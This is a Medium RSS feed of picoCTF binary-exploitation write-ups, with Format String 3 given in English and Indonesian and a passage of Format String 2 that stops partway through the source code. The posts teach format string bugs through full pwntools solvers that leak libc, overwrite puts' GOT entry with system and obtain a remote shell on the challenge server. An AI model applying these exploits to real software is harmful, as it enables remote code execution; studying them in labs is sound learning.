<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rasshaaa on Medium]]></title>
        <description><![CDATA[Stories by Rasshaaa on Medium]]></description>
        <link>https://medium.com/@rasshaaa_.13?source=rss-c577abab7da6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*YpW9rNC-rH3Ck1u2</url>
            <title>Stories by Rasshaaa on Medium</title>
            <link>https://medium.com/@rasshaaa_.13?source=rss-c577abab7da6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 23:35:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rasshaaa_.13/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 3 (English Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-3-english-ver-07c1a49beab9?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/07c1a49beab9</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 14:13:18 GMT</pubDate>
            <atom:updated>2025-10-07T14:13:18.058Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a write-up for learning purposes. So it will be explained in as much detail as possible, but also as simply as possible. So I apologize if it’s too long, hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*9F1ESEXE_QtqcGo3.png" /></figure><p>In this challenge, we will deal with <strong>Binary Exploitation</strong> and one of the Medium difficulty challenges that has been completed, namely “Format String 3”. Here is the discussion.</p><p>We are given this description :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*Y4TkQXy56rvX8bBE6rX_8g.png" /></figure><p>4 attachments are provided, there are a Binary ELF (Executable and Linkable Format) file named format-string-3, a libc file named libc.so.6, an interpreter file in the form of a dynamic linker named ld-linux-x86–64.so.2, and the source code file for the Binary ELF, namely format-string-3.c, with the following code.</p><pre>#include &lt;stdio.h&gt;<br><br>#define MAX_STRINGS 32<br><br>char *normal_string = &quot;/bin/sh&quot;;<br><br>void setup() {<br> setvbuf(stdin, NULL, _IONBF, 0);<br> setvbuf(stdout, NULL, _IONBF, 0);<br> setvbuf(stderr, NULL, _IONBF, 0);<br>}<br><br>void hello() {<br> puts(&quot;Howdy gamers!&quot;);<br> printf(&quot;Okay I&#39;ll be nice. Here&#39;s the address of setvbuf in libc: %p\n&quot;, &amp;setvbuf);<br>}<br><br>int main() {<br> char *all_strings[MAX_STRINGS] = {NULL};<br> char buf[1024] = {&#39;\0&#39;};<br><br> setup();<br> hello(); <br><br> fgets(buf, 1024, stdin); <br> printf(buf);<br><br> puts(normal_string);<br><br> return 0;<br>}</pre><p>We check the mitigations used in the Binary ELF with the checksec command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*tYjCKSQ91ByPs-kLgVr9Fw.png" /></figure><p>Since we were also given the libc.so.6 file, we also check its mitigation with the checksec command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*-iBnaThBU8MkGcg2ZLk7HQ.png" /></figure><p>Based on the information we have, from the name of the challenge to its source code, this is the third advanced introductory challenge related to a vulnerability known as <strong><em>Format String Vulnerability</em></strong>. This vulnerability occurs when we provide input as a format string to functions such as printf, sprintf, or fprintf without control, so that special characters such as %s, %x, or %n are not treated as ordinary text but as format instructions, allowing attackers to <strong><em>arbitrary read</em></strong> memory, <strong><em>arbitrary write</em></strong> to process memory, cause crashes, and even exploit it for <strong><em>RCE </em>(<em>Remote Code Execution</em>)</strong>.</p><p>Looking at the source code, the program works by greeting us and then providing a leak address from setvbuf used in libc on the server. Then we are given the opportunity to provide input to the program and, as usual, our input is returned with printf(buf), which is where the <strong><em>Format String Vulnerability</em></strong> lies.</p><p>However, there is an addition to this program. After the program returns our input, it will give us the string “/bin/sh” using puts(). The objective of this challenge is to spawn the /bin/sh shell. How do we do that?</p><p>First, we need to know that in C, we can run a program using system(), which will search for executables on the server that can be run. In this case, we can spawn a shell by making this binary program run system(“/bin/sh”). However, unfortunately, the program only has puts(“/bin/sh”). So, what should we do now?</p><p>It turns out that with a <strong><em>Format String Attack</em></strong>, we can modify the program from the previous puts(“/bin/sh”) to system(“/bin/sh”). But how? With a <strong><em>Format String Attack</em></strong>, we can perform <strong><em>arbitrary write</em></strong> like in the Format String 2 challenge, but not to overwrite a value in a variable. Instead, we can change the GOT (Global Offset Table) of the puts() in the program to system() by taking it from the libc.</p><p>For now, let’s first find the offset to perform a <strong><em>Format String Attack</em></strong> with a little Python.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 63638)<br>payload = b&#39;A&#39; * 8 + b&#39;%p.&#39; * 50<br><br>online.sendline(payload)<br>print(online.recvall().decode())<br><br>online.close()</pre><p>And here’s the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8rGy4tDcbvx2RUfDY5DJw.png" /></figure><p>If we calculate it, we can see that our letter A, which has changed to 0x41 in Hex, is located at number 38. So the offset is at number 38. Now what we have to do is get the address of puts() located in GOT, which we can do by adding elf.got[“puts”] to retrieve the address of puts() in the ELF Binary’s GOT. This is roughly how to retrieve it.</p><pre>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>elf.got[&#39;puts&#39;]</pre><p>After obtaining the address of puts() from the GOT, we can then obtain the address of system() from libc. BUT HERE’S THE PROBLEM.</p><p>Because libc is PIE-enabled, all addresses within libc are randomized every time the program runs, so we cannot obtain the address of system() arbitrarily. We only have two options. The first option is as follows.</p><ol><li>Obtaining the Base Address from libc (basic PIE bypass method)</li></ol><p>We can retrieve the program in this way.</p><pre>libc = ELF(&quot;./libc.so.6&quot;)<br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode()) - libc.sym[&quot;setvbuf&quot;]<br>system = libc.sym[&quot;system&quot;]</pre><p>If explained, the program will take the leak from setvbuf that has been provided by the challenge from the libc used on the server. Then we subtract the setvbuf address from the local libc directly, only then can we get the base address.</p><p>After knowing the base address of the libc, by putting it in libc.address, then if we want to take the address from system() it can be done with just libc.sym[“system”]. This is because it is automatically calculated by pwntools in the libc variable.</p><p>What does it mean by automatically calculated? So, when we declare the variable libc = ELF(“./libc.so.6”), pwntools will access the file ./libc.so.6 and assume that the address value there is an offset because the default base address is 0.</p><p>Then, after we set the base address of libc with libc.address, the libc variable no longer has a base address of 0, but rather the result we obtained, which is int(online.recvline().decode()) — libc.sym[“setvbuf”]. So, if we call libc.sym again, it no longer displays the offset of an address, but instead displays the absolute address that has been adapted to match the address value in the libc on the server.</p><p>So now we have obtained the base address and GOT address from system(), we can create a regular format string payload with fmtstr_payload() to overwrite the GOT from the previous address puts() to the address of system(), here is the solver.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode(), 16) - libc.sym[&quot;setvbuf&quot;]<br>payload = fmtstr_payload(38, {elf.got[&quot;puts&quot;]: libc.sym[&quot;system&quot;]})<br><br>online.sendline(payload)<br>online.interactive()</pre><p>With this, if executed, we should get <strong><em>RCE </em>(<em>Remote Code Execution</em>)</strong> on the server. This is the result when run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWbvgXKSK7XLADvIzjVOpg.png" /></figure><p>We see that the payload has been sent and we don’t get an EOF error when switching to interactive mode. Let’s test it with the ls command and here are the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-0cURnyPsQlrKqCDxUL7Q.png" /></figure><p>There seems to be a minor UI bug when we type ls, but that’s okay. However, the command results show that we have successfully obtained <strong><em>RCE</em></strong>. Now we just need to read the contents of the flag.txt file and we will get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*yzonNDiUM-IKjbzvF9Vd6g.png" /></figure><p>Well, but since the output looks a bit messy, I think we can tidy up the solver. After sending the payload, we will make the solver send cat flag.txt directly. So here is the solver and the result.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode(), 16) - libc.sym[&quot;setvbuf&quot;]<br>payload = fmtstr_payload(38, {elf.got[&quot;puts&quot;]: libc.sym[&quot;system&quot;]})<br><br>online.sendline(payload)<br>online.sendline(b&quot;cat flag.txt&quot;)<br>online.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ateOorFJ8SX3q71cCVJ94g.png" /></figure><p>It turns out that if we only want the flag to appear, we must first receive the output from the server, which is after ‘@@’, and only then can we directly print the results. We change it again and here’s the result.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode(), 16) - libc.sym[&quot;setvbuf&quot;]<br>payload = fmtstr_payload(38, {elf.got[&quot;puts&quot;]: libc.sym[&quot;system&quot;]})<br><br>online.sendline(payload)<br>online.sendline(b&quot;cat flag.txt&quot;)<br>online.recvuntil(b&quot;@@&quot;)<br><br>print(&quot;\nFlag :&quot;, online.recvuntil(b&quot;}&quot;).decode(), &quot;\n&quot;)<br>online.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*63lc8UubLd21SC3zpDrIow.png" /></figure><p>The flag is obtained with neat output.</p><p>But that’s only the first option. So what about the second option related to finding the address of system()? Let’s discuss it.</p><p>2. Obtaining the address of system() directly</p><p>If we need the system() address, we can do it without having to find the base address of libc. So we can actually do it by knowing the difference between the address of the leaked setvbuf and the offset between the libc setvbuf and system() in libc. So if the analogy of mine is explained, it might be something like this (or maybe a dumbass analogy I’d say😹).</p><pre>15 - (15 - 10)<br>15 - 5 = 10<br><br>The first 15 = setvbuf leak from the server<br>The second 15 = local libc setvbuf<br>The first 10 = local libc system()<br>The second 10 = system() for the server<br><br>We know that the difference between libc setvbuf and libc system() is 5 based on the math above. <br>Then, if we want to get the system() on the server, we just subtract the difference. <br><br>That&#39;s why 15 - (15 - 10) = 10<br><br>Where the setvbuf leak will be subtracted by the offset between setvbuf and system() in libc, to produce the right system() for the server. <br><br>It&#39;s like this: if the difference between setvbuf and system() in libc is 5, then the difference between setvbuf and system() on the server will also be the same. <br>Therefore, if we subtract the difference we obtained from the server&#39;s setvbuf, we will get system().</pre><p>Well, with that kind of dumbass analogy of mine, we can just test whether it makes sense or not by applying it to a solver.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>system = int(online.recvline().decode(), 16) - (libc.sym[&#39;setvbuf&#39;] - libc.sym[&#39;system&#39;])<br>payload = fmtstr_payload(38, {elf.got[&#39;puts&#39;]: system})<br><br>online.sendline(payload)<br>online.sendline(b&quot;cat flag.txt&quot;)<br>online.recvuntil(b&quot;@@&quot;)<br><br>print(&quot;\nFlag :&quot;, online.recvuntil(b&quot;}&quot;).decode(), &quot;\n&quot;)<br>online.close()</pre><p>As explained earlier, the solver works by calculating the system() address for the server, namely by taking the setvbuf leak with int(online.recvline().decode(), 16) and then subtracting the difference between setvbuf from libc and system() from libc with (libc.sym[‘setvbuf’] — libc. sym[‘system’]), then we overwrite the GOT address of puts() with the system() address we obtained earlier. Here are the results after running it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*bLjLbS8nYkiaVSQqqOBmVw.png" /></figure><p>It worked, lol. There must be a MORE REASONABLE and MORE TECHNICAL explanation for this, so let’s discuss it together so that all of us (including me, a beginner) can find out what the correct explanation is.</p><p><strong>FLAG : picoCTF{G07_G07?_d285a282}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07c1a49beab9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 3 (IDN Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-3-idn-ver-22f562b68def?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/22f562b68def</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 09:09:03 GMT</pubDate>
            <atom:updated>2025-10-07T09:09:03.156Z</atom:updated>
            <content:encoded><![CDATA[<p>Ini writeup for learning purposes. Jadi akan dijelaskan se-detail mungkin tetapi juga se-simpel mungkin. Jadi mohon maaf kalo kepanjangan hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*w5LG81afXn0Vddcs.png" /></figure><p>Pada challenge kali ini, kita akan berurusan dengan <strong>Binary Exploitation</strong> dan salah satu challenge difficulty Medium yang sudah diselesaikan yaitu “Format String 3”, berikut pembahasannya.</p><p>Kita diberikan deskripsi seperti ini :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*_em3N_EB9SiQconVUWlaiQ.png" /></figure><p>Diberikan 4 attachment yakni file Binary ELF (Executable and Linkable Format) bernama format-string-3, file libc bernama libc.so.6, file interpreter berupa dynamic linker bernama ld-linux-x86-64.so.2, dan file source code dari Binary ELF tersebut yakni format-string-3.c dengan kode seperti berikut.</p><pre>#include &lt;stdio.h&gt;<br><br>#define MAX_STRINGS 32<br><br>char *normal_string = &quot;/bin/sh&quot;;<br><br>void setup() {<br> setvbuf(stdin, NULL, _IONBF, 0);<br> setvbuf(stdout, NULL, _IONBF, 0);<br> setvbuf(stderr, NULL, _IONBF, 0);<br>}<br><br>void hello() {<br> puts(&quot;Howdy gamers!&quot;);<br> printf(&quot;Okay I&#39;ll be nice. Here&#39;s the address of setvbuf in libc: %p\n&quot;, &amp;setvbuf);<br>}<br><br>int main() {<br> char *all_strings[MAX_STRINGS] = {NULL};<br> char buf[1024] = {&#39;\0&#39;};<br><br> setup();<br> hello(); <br><br> fgets(buf, 1024, stdin); <br> printf(buf);<br><br> puts(normal_string);<br><br> return 0;<br>}</pre><p>Kita cek mitigasi yang digunakan dalam Binary ELF tersebut dengan command checksec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*Vlie0OzGA8sivo3HtaHNsw.png" /></figure><p>Karena diberikan file libc.so.6 juga, kita cek juga mitigasinya dengan command checksec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*6CuaWrqz9ety4BOmMjU8KQ.png" /></figure><p>Berdasarkan informasi yang kita dapat mulai dari nama challenge hingga source code nya, ini merupakan challenge perkenalan lanjutan ketiga terkait vulnerability yang dikenal sebagai <strong><em>Format String Vulnerability</em></strong>. Dimana vulnerability ini terjadi apabila kita memberikan input sebagai format string pada function kayak printf, sprintf, atau fprintf tanpa kontrol, sehingga special characters kayak %s, %x, atau %n jadi gak dianggap sebagai teks biasa melainkan format instructions sehingga attacker bisa <strong><em>arbitrary read memory</em></strong>, <strong><em>arbitrary write</em></strong> ke process memory, menyebabkan crash bahkan bisa dimanfaatkan untuk <strong><em>RCE</em></strong> (<strong><em>Remote Code Execution</em></strong>).</p><p>Jika dilihat pada source code, program bekerja dengan cara program menyapa kita lalu memberikan leak address dari setvbuf yang dipakai di dalam libc pada servernya. Lalu kita diberi kesempatan untuk memberikan input ke dalam programnya dan seperti biasa input kita dikembalikan dengan printf(buf) yang merupakan letak vulnerability dari <strong><em>Format String Vulnerability</em></strong> ini.</p><p>Nah namun, ada tambahan dalam program ini. Dimana setelah program mengembalikan inputan kita maka program akan memberikan kita string “/bin/sh” pakai puts(). Nah objektif dari challenge ini adalah kita harus bisa spawn shell /bin/sh, bagaimana caranya?</p><p>Nah kita harus mengetahui terlebih dahulu, kalau dalam bahasa C kita bisa menjalankan suatu program dengan menggunakan system() yang dimana dia akan mencari apakah ada executable di dalam server yang bisa dijalankan. Dalam kasus ini, kita bisa spawn shell dengan cara membuat program Binary ini menjalankan system(“/bin/sh”). Namun, di dalam program sayangnya hanya ada puts(“/bin/sh”), lalu kita harus bagaimana sekarang?</p><p>Ternyata, dengan <strong><em>Format String Attack</em></strong> kita bisa modifikasi program dari yang sebelumnya menjalankan puts(“/bin/sh”) menjadi system(“/bin/sh”). Nah tapi bagaimana caranya? Dengan <strong><em>Format String Attack</em></strong> kita bisa melakukan <strong><em>arbitrary write</em></strong> seperti di challenge Format String 2, namun bukan untuk overwrite value dalam suatu variabel. Melainkan untuk mengubah <a href="https://ctf101.org/binary-exploitation/what-is-the-got/">GOT (Global Offset Table)</a> nya puts() yang ada dalam program menjadi system() dengan mengambil dari libc nya.</p><p>Untuk sekarang, kita cari terlebih dahulu offset untuk melakukan <strong><em>Format String Attack</em></strong> dengan sedikit Python.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 63638)<br>payload = b&#39;A&#39; * 8 + b&#39;%p.&#39; * 50<br><br>online.sendline(payload)<br>print(online.recvall().decode())<br><br>online.close()</pre><p>Dan ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JNzUYH-3QumABPglUAo4vQ.png" /></figure><p>Jika dihitung, maka terlihat kalau huruf A kita yang sudah berubah menjadi 0x41 dalam Hex, terdapat di jumlah ke 38. Sehingga offsetnya ada di angka 38. Sekarang yang harus kita lakukan adalah kita mendapatkan address dari puts() yang terdapat dalam GOT, yang dimana step ini bisa kita lakukan dengan menambahkan elf.got[“puts”] untuk mengambil address puts() yang ada di dalam GOT Binary ELF nya. Kurang lebih seperti ini cara mengambilnya.</p><pre>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>elf.got[&#39;puts&#39;]</pre><p>Nah sesudah mengambil address puts() dari GOT, baru kita bisa mengambil address system dari libc nya. TAPI DISINI PROBLEMNYA.</p><p>Karena libc nya <a href="https://ir0nstone.gitbook.io/notes/binexp/stack/pie">PIE Enabled</a>, maka seluruh address yang ada di dalam libc menjadi randomized setiap kali program running sehingga kita gak bisa mengambil address system() dengan asal. Kita hanya punya 2 opsi, opsi pertama bisa seperti ini.</p><ol><li>Mendapatkan Base Address dari libc (metode <a href="https://ir0nstone.gitbook.io/notes/binexp/stack/pie/pie-exploit">basic bypass PIE</a>)</li></ol><p>Kita bisa mengambil programnya dengan cara yang seperti ini.</p><pre>libc = ELF(&quot;./libc.so.6&quot;)<br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode()) - libc.sym[&quot;setvbuf&quot;]<br>system = libc.sym[&quot;system&quot;]</pre><p>Jika dijelaskan, program akan mengambil leak dari setvbuf yang sudah diberikan oleh chall nya dari libc yang digunakan di servernya. Lalu kita kurang dengan address setvbuf dari libc local nya langsung, barulah kita dapat base address nya.</p><p>Sesudah mengetahui base address dari libc nya, dengan menaruhnya di dalam libc.address, maka jika kita ingin mengambil address dari system() bisa dilakukan dengan libc.sym[“system”] saja. Karena sudah terhitung otomatis oleh pwntools di variabel libc nya.</p><p>Terhitung otomatis gimana maksudnya? Jadi, saat kita mendeklarasikan variabel libc = ELF(“./libc.so.6”), maka pwntools akan mengakses file ./libc.so.6dan menganggap nilai address yang ada disana merupakan offset karena base address default nya adalah 0.</p><p>Lalu, setelah kita menetapkan base address dari libc nya dengan libc.address, maka variabel libc memiliki base address yang sudah bukan 0 lagi melainkan hasil yang kita dapatkan yakni int(online.recvline().decode()) — libc.sym[“setvbuf”] sehingga kalau kita memanggil libc.sym kembali maka sekarang dia tidak menampilkan offset dari suatu address, melainkan sudah menampilkan address absolut yang sudah diadaptasikan agar sesuai dengan value address di libc yang ada di server.</p><p>Jadi sekarang kita sudah mendapatkan base address dan GOT address dari system(), sekarang kita bisa membuat payload format string biasa dengan fmtstr_payload() untuk overwrite GOT nya dari yang sebelumnya address puts() menjadi address dari system(), berikut solver nya.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode(), 16) - libc.sym[&quot;setvbuf&quot;]<br>payload = fmtstr_payload(38, {elf.got[&quot;puts&quot;]: libc.sym[&quot;system&quot;]})<br><br>online.sendline(payload)<br>online.interactive()</pre><p>Dengan ini, seharusnya kalau dijalankan maka kita akan mendapatkan <strong><em>RCE (Remote Code Execution)</em></strong> terhadap servernya. Ini hasilnya saat di-run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DmFn0ppMr3_rhgh-H241WA.png" /></figure><p>Kita melihat kalau payload sudah terkirim dan kita tidak mendapatkan error EOF saat pindah ke interactive mode. Langsung aja kita tes dengan command ls dan ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yu0azfjHLd2nyxR8D98hEg.png" /></figure><p>Terlihat ada bug UI dikit kita ngetik ls tapi malah begitu wkwkwk. Tapi dari hasil command nya, ini menunjukkan kalau kita sudah berhasil mendapatkan <strong><em>RCE</em></strong>. Sekarang kita tinggal baca saja isi dari file flag.txt dan kita pun mendapatkan flagnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*PGujJOdQyqBFY8U-h-bJuw.png" /></figure><p>Nah tapi karena kurang rapi aja sih outputnya pas dilihat, kayaknya bisa kita rapihin solvernya. Dengan cara setelah mengirimkan payload, kita akan buat supaya solver mengirim langsung cat flag.txt. Maka ini solver dan hasilnya.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode(), 16) - libc.sym[&quot;setvbuf&quot;]<br>payload = fmtstr_payload(38, {elf.got[&quot;puts&quot;]: libc.sym[&quot;system&quot;]})<br><br>online.sendline(payload)<br>online.sendline(b&quot;cat flag.txt&quot;)<br>online.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXy-1nxvv36BEt7sT7HJbw.png" /></figure><p>Ternyata, kalau mau hanya flagnya yang muncul maka kita harus menerima output dari servernya dahulu yakni setelah ‘@@’, barulah kita langsung print hasilnya. Kita ubah lagi jadi seperti ini solver dan hasilnya.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>libc.address = int(online.recvline().decode(), 16) - libc.sym[&quot;setvbuf&quot;]<br>payload = fmtstr_payload(38, {elf.got[&quot;puts&quot;]: libc.sym[&quot;system&quot;]})<br><br>online.sendline(payload)<br>online.sendline(b&quot;cat flag.txt&quot;)<br>online.recvuntil(b&quot;@@&quot;)<br><br>print(&quot;\nFlag :&quot;, online.recvuntil(b&quot;}&quot;).decode(), &quot;\n&quot;)<br>online.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*rrmgXXFP324AdYb6bh7zNw.png" /></figure><p>Flag didapat dengan output yang rapih.</p><p>Tapi, itu baru opsi pertama. Lantas bagaimana dengan opsi kedua terkait menemukan address system() nya? Mari kita bahas.</p><p>2. Mendapatkan address system() langsung</p><p>Jika kita membutuhkan address system() kita bisa melakukannya tanpa perlu mencari base address dari libc. Jadi kita sebenernya bisa melakukannya dengan cara mengetahui selisih antara address dari setvbuf yang di-leak dengan offset antara setvbuf libc dengan system() di libc. Jadi kalau dijelaskan mungkin seperti ini perkiraan mudahnya (atau mungkin perkiraan bodohnya😹).</p><pre>15 - (15 - 10)<br>15 - 5 = 10<br><br>15 pertama = setvbuf leak dari server<br>15 kedua = setvbuf libc local<br>10 pertama = system() libc local<br>10 kedua = system() untuk server<br><br>Kita tau selisih dari setvbuf libc dan system() libc adalah 5 berdasarkan matematika di atas. <br>Lalu, kalau kita ingin mendapatkan system() yang di server maka tinggal dikurang selisihnya. <br><br>Makanya 15 - (15 - 10) = 10<br><br>Dimana setvbuf leak akan dikurang dengan offset antara setvbuf sama system() di libc, untuk menghasilkan system() yang pas untuk server. <br><br>Ibarat tuh, kalo setvbuf sama system() di libc selisihnya 5 pasti selisih setvbuf ke system() di server sama juga. <br>Sehingga, kalo setvbuf server dikurangin sama selisih yang kita dapet maka bakal dapet system(). </pre><p>Nah, dengan analogi yang ngawur seperti itu. Kita bisa tes aja apakah masuk akal atau tidak dengan mengaplikasikannya ke dalam bentuk solver.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./format-string-3&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56810)<br><br>online.recvuntil(b&quot;libc: &quot;)<br>system = int(online.recvline().decode(), 16) - (libc.sym[&#39;setvbuf&#39;] - libc.sym[&#39;system&#39;])<br>payload = fmtstr_payload(38, {elf.got[&#39;puts&#39;]: system})<br><br>online.sendline(payload)<br>online.sendline(b&quot;cat flag.txt&quot;)<br>online.recvuntil(b&quot;@@&quot;)<br><br>print(&quot;\nFlag :&quot;, online.recvuntil(b&quot;}&quot;).decode(), &quot;\n&quot;)<br>online.close()</pre><p>Seperti yang dijelaskan tadi, solver bekerja dengan cara menghitung address system untuk server yakni dengan mengambil setvbuf leak nya dengan int(online.recvline().decode(), 16) lalu dikurang dengan selisih antara setvbuf dari libc dan system() dari libc dengan (libc.sym[‘setvbuf’] — libc.sym[‘system’]), setelah itu baru kita overwrite GOT address dari puts() menjadi address system() yang kita dapat tadi. Begini hasilnya setelah di-run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*_bv2XjvUp4SGLmWDEoy8jQ.png" /></figure><p>Ternyata berhasil, wkwkwk. Pasti ada penjelasan yang LEBIH MASUK AKAL dan LEBIH TEKNIKAL dari ini, jadi silahkan diskusi bersama agar kita semua (termasuk saya yang pemula ini) bisa mengetahui penjelasan yang benar seperti apa.</p><p><strong>FLAG : picoCTF{G07_G07?_d285a282}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22f562b68def" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 2 (English Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-2-english-ver-ca948092dd2a?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca948092dd2a</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Thu, 02 Oct 2025 07:44:52 GMT</pubDate>
            <atom:updated>2025-10-02T07:44:52.377Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a write-up for learning purposes. So it will be explained in as much detail as possible, but also as simply as possible. So I apologize if it’s too long, hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*B9Kxbc5tw8LbAqDm.png" /></figure><p>In this challenge, we will deal with <strong>Binary Exploitation</strong> and one of the Medium difficulty challenges that has been completed, namely “Format String 2”. Here is the discussion.</p><p>We are given this description :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*8z4PNd-wooJsApUL.png" /></figure><p>Two attachments are provided: a Binary ELF (Executable and Linkable Format) file named vuln and the source code file for that Binary ELF file, vuln.c, with the following code.</p><pre>#include &lt;stdio.h&gt;<br><br>int sus = 0x21737573;<br><br>int main() {<br>  char buf[1024];<br>  char flag[64];<br><br><br>  printf(&quot;You don&#39;t have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n&quot;);<br>  fflush(stdout);<br>  scanf(&quot;%1024s&quot;, buf);<br>  printf(&quot;Here&#39;s your input: &quot;);<br>  printf(buf);<br>  printf(&quot;\n&quot;);<br>  fflush(stdout);<br><br>  if (sus == 0x67616c66) {<br>    printf(&quot;I have NO clue how you did that, you must be a wizard. Here you 